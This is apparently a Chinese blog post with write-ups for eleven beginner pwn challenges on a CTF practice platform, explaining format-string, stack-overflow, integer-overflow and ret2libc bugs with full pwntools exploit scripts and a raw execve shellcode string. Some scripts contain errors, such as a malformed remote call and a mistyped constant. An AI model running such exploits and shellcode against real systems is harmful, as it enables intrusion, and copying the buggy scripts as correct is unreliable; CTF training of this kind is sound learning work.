攻防世界新手练习pwn

0x00 get_shell

 nc 连接得到flag

0x01 CGfsb

首先检查保护

image.png

在进IDA f5,发现将pwnme=8即可得到flag。
漏洞点:格式化字符漏洞,printf()函数使用不当,造成任意内存读写
image.png

查看pwnme地址如下,发现它是bss字段定义的全局变量
image.png

nc连接输入信息为aaaa加很多个控制字符发现pwnme的偏移量为10

image.png

pwnme地址本身占4个字节再加上4个字符使pwnme==8,得到flag。

exp:

from pwn import *
#p=remote('111.198.29.45',38899)
p=process('./cgfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print p.recv() 
print p.recv()

0x02 when_did_you_born

首先查看保护


image.png

看到birth=1926就可以得到flag,但是过滤了1926,又发现gets()没有对输入检查,可以造成溢出。一直填充到v5,使v5=1926即可得到flag.


image.png

分别双击v4,v5看到,v4为var_20,v5为var_18,相差了8个字符 ,所以构造payload= payload='a'*8+p64(0x786)

image.png

exp:

from pwn import *
#p=process('./when_did_you_born')
p=remote('111.198.29.45',47814)
p.recvuntil("?")
p.sendline("1925")
p.recvuntil("?")
payload='a'*8+p32(0x786)
p.sendline(payload)
p.interactive()

0x03 hello_pwn

老规矩,先查看文件保护,然后IDA打开


image.png

如果ift条件为真,进入sub_60106c就可得到flag。


image.png

进入unk_691968和dword_60106c偏移量为4,并且没有大于read函数的范围限制,所以我们构造payload=‘a'*4+p64(1853186401)就可以覆盖dword_60106c使if为真。
image.png

exp:

from pwn import *
p=process('./hello_pwn')
p=('111.198.29.45',55581)
payload = 'a'*4+p64(18533186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

0x04 level0

检查保护机制,拖进IDA


image.png

看到vulnerable_function()函数存在溢出, buf的长度为0x80,但是可以输入0x200的长度。我们F12可以搜素到system和sh字符,得到系统函数的地址。所以我们构造payload在buf后面调用系统函数得到shell。r然后cat flag得到flag.


image.png

exp如下:
from pwn import *
p=remote('111.198.29.45',55317)
#p = process('./level0')
sys_addr = 0x0400320
sh_addr = 0x0400596
payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
p.recvuntil("Hello, World")
p.sendline(payload)
p.interactive()

0x05 level2

首先查看保护机制,IDA打开



发现溢出点buf,buf的长度为0x88,可输入0x100的长度。通过ELF搜素system和/bin/sh地址,构造payload,得到shell。


image.png

exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
elf=ELF('./level2')        

sys_addr=elf.symbols['system']  #获取系统函数地址
sh_addr=elf.search('/bin/sh').next()   #获取'/bin/sh'字符串地址
payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)

pwn=remote('111.198.29.45',42668)
#pwn = process('./level2')
pwn.sendlineafter("Input:\n",payload)
pwn.interactive()
pwn.close()

0x06 string

首先检查保护机制


image.png

拖进IDA,这道题字符是真滴多,先分析逻辑。根据提示一步一步往下走。看到sub_400CA6函数,只要a1[0]=a1[1]就符合要求,并且发现将V1一个void指针强制类型转换成函数指针并调用了,所以我们将shellcode通过上面的read写入就会得到shell。


image.png

一直跟回去发现a1[0]=65,a1[1]=85。
那现在目标明确了,找到漏洞点,在内存中将a1[0]值改为85就找到漏洞点在sub_400BB9的printf函数,格式化字符串漏洞。造成任意地址读写。


image.png

找到format的偏移量为7。构造payload = "%85d%7$n"。


image.png

exp:

from pwn import *
p = remote('111.198.29.45',49698)
#p = process('./string1')
p.recvuntil("secret[0] is ")
v3_addr=p.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address = eval(v3_addr)
p.recvuntil("What should your character's name be:")
p.sendline('Adam')

p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')

p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('Give me an address')
p.send(str(v3_address)+"\n")
p.recvuntil("you wish is:\n")

payload = "%85d%7$n"
p.sendline(payload)

#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

0x07 guess_num

检查保护


image.png

IDA打开,逻辑是十次输入的数都要与随机生成的数相等就运行sub_C3E()得到flag,所以我们想办法修改随机数种子,让每次生成的数都一样就可以了。


image.png

那么我们可以利用的是get函数,对输入没有限制,并且v7与seed的地址是连续的,所以直接覆盖seed。查看V7的长度为32个字节,构造payload = 'a'*32+p64(1)。

exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45',36915)
#p = process('./guess_num')

p.recvuntil("Your name:")

payload = 'a'*32+p64(1)

p.sendline(payload)
//使用ctypes库调用libc.so.6来使用srand()和rand()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
for i in range(10):
    a = str(libc.rand()%6+1)
    p.recvuntil('Please input your guess number:')
    p.sendline(a)
p.interactive()

0x08 cgpwn2

首先检查保护


image.png

IDA分析,看到main函数里gets()可以溢出,并且name是在bss上的全局变量。

image.png

找到system的地址为0x08048420。shift+F12找不到‘/bin/sh’,所以将name输入/bin/sh,再次访问name的值不会变,name的地址就作为sh的地址。现在需要找s的偏移量为38+4。构造payload=‘a'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二个p32里随便输入。

exp:

from pwn import *

p = remote('111.198.29.45',56035)
#p = process('./cgpwn2')

sys_addr = 0x08048420
sh_addr = 0x0804A080

payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)

p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()

0x09 int_overflow

首先检查保护机制


image.png

拖进IDA,分析逻辑。发现check_passwd()中v3为int8型,在下面的check中也是检查v3的长度,根据有题目名称,想到v3的大小溢出,int8型最大值为2^8=256,超出之后进行模256的计算。


image.png

所以我们在输入passwd的时候将输入长度为 [259,263]之间就可以了,再利用后面的strcpy()函数,因为将s复制给dest,看到dest的偏移为0x14+0x04,再搜索sh函数得到sh地址,构造payload = 'a'*(0x14+0x4)+p32(sh_addr)。得到shell。

exp:

from pwn import *

p = remote('111.198.29.45',39063)
#p = process('./int_overflow')


sh_addr = 0x0804868B

p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Please input your username:")
p.sendline('Adam')


payload = 'a'*(0x14+0x4)+p32(sh_addr)
payload = payload.ljust(263,'b')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()

0x10 level3

首先检查保护机制

image.png

拖进IDA,很明显的漏洞点,read溢出,但是找不到system,/bin/sh的地址。F12查看字符串。发现 libc start_main。
image.png

因为system是libc.so动态链接库的函数。而且在动态链接库中函数之间的偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
首先,利用找到write的真实地址,然后利用这个地址算出偏移量,这里贴个计算libc的工具。找到offest之后,就可以得到system的地址和bin/sh的地址了。

exp:

#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import *

#p = process('./level3')
p = remote('111.198.29.45',48981)
elf = ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recv()
p.sendline(payload)

write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)

offest = write_addr - libc.dump('write')

sys_addr = offest + libc.dump('system')
sh_addr = offest +libc.dump('str_bin_sh')

payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
p.recv()

p.sendline(payload2)
p.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,362评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,330评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,247评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,560评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,580评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,569评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,929评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,587评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,840评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,596评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,678评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,366评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,945评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,929评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,165评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,271评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,403评论 2 342

推荐阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,665评论 0 2
  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,577评论 0 1
  • 参考文章: 关于heap overflow的一些笔记 by ETenal [CTF]Heap vuln -- u...
    BJChangAn阅读 2,658评论 2 5
  • 文/马克苏 理想,大概是每个人都想过并且追寻的东西吧。它就像你的影子,你向前它也会跟你向前,你停下脚步,它也便停滞...
    赵不渝阅读 541评论 2 2
  • 批评与自我批评会不会是这个世上最大的谎言? 我们一直主张批评与自我批评,我们说良药苦口,我们要求自己也要求周围的人...
    青茶竹酒阅读 157评论 0 0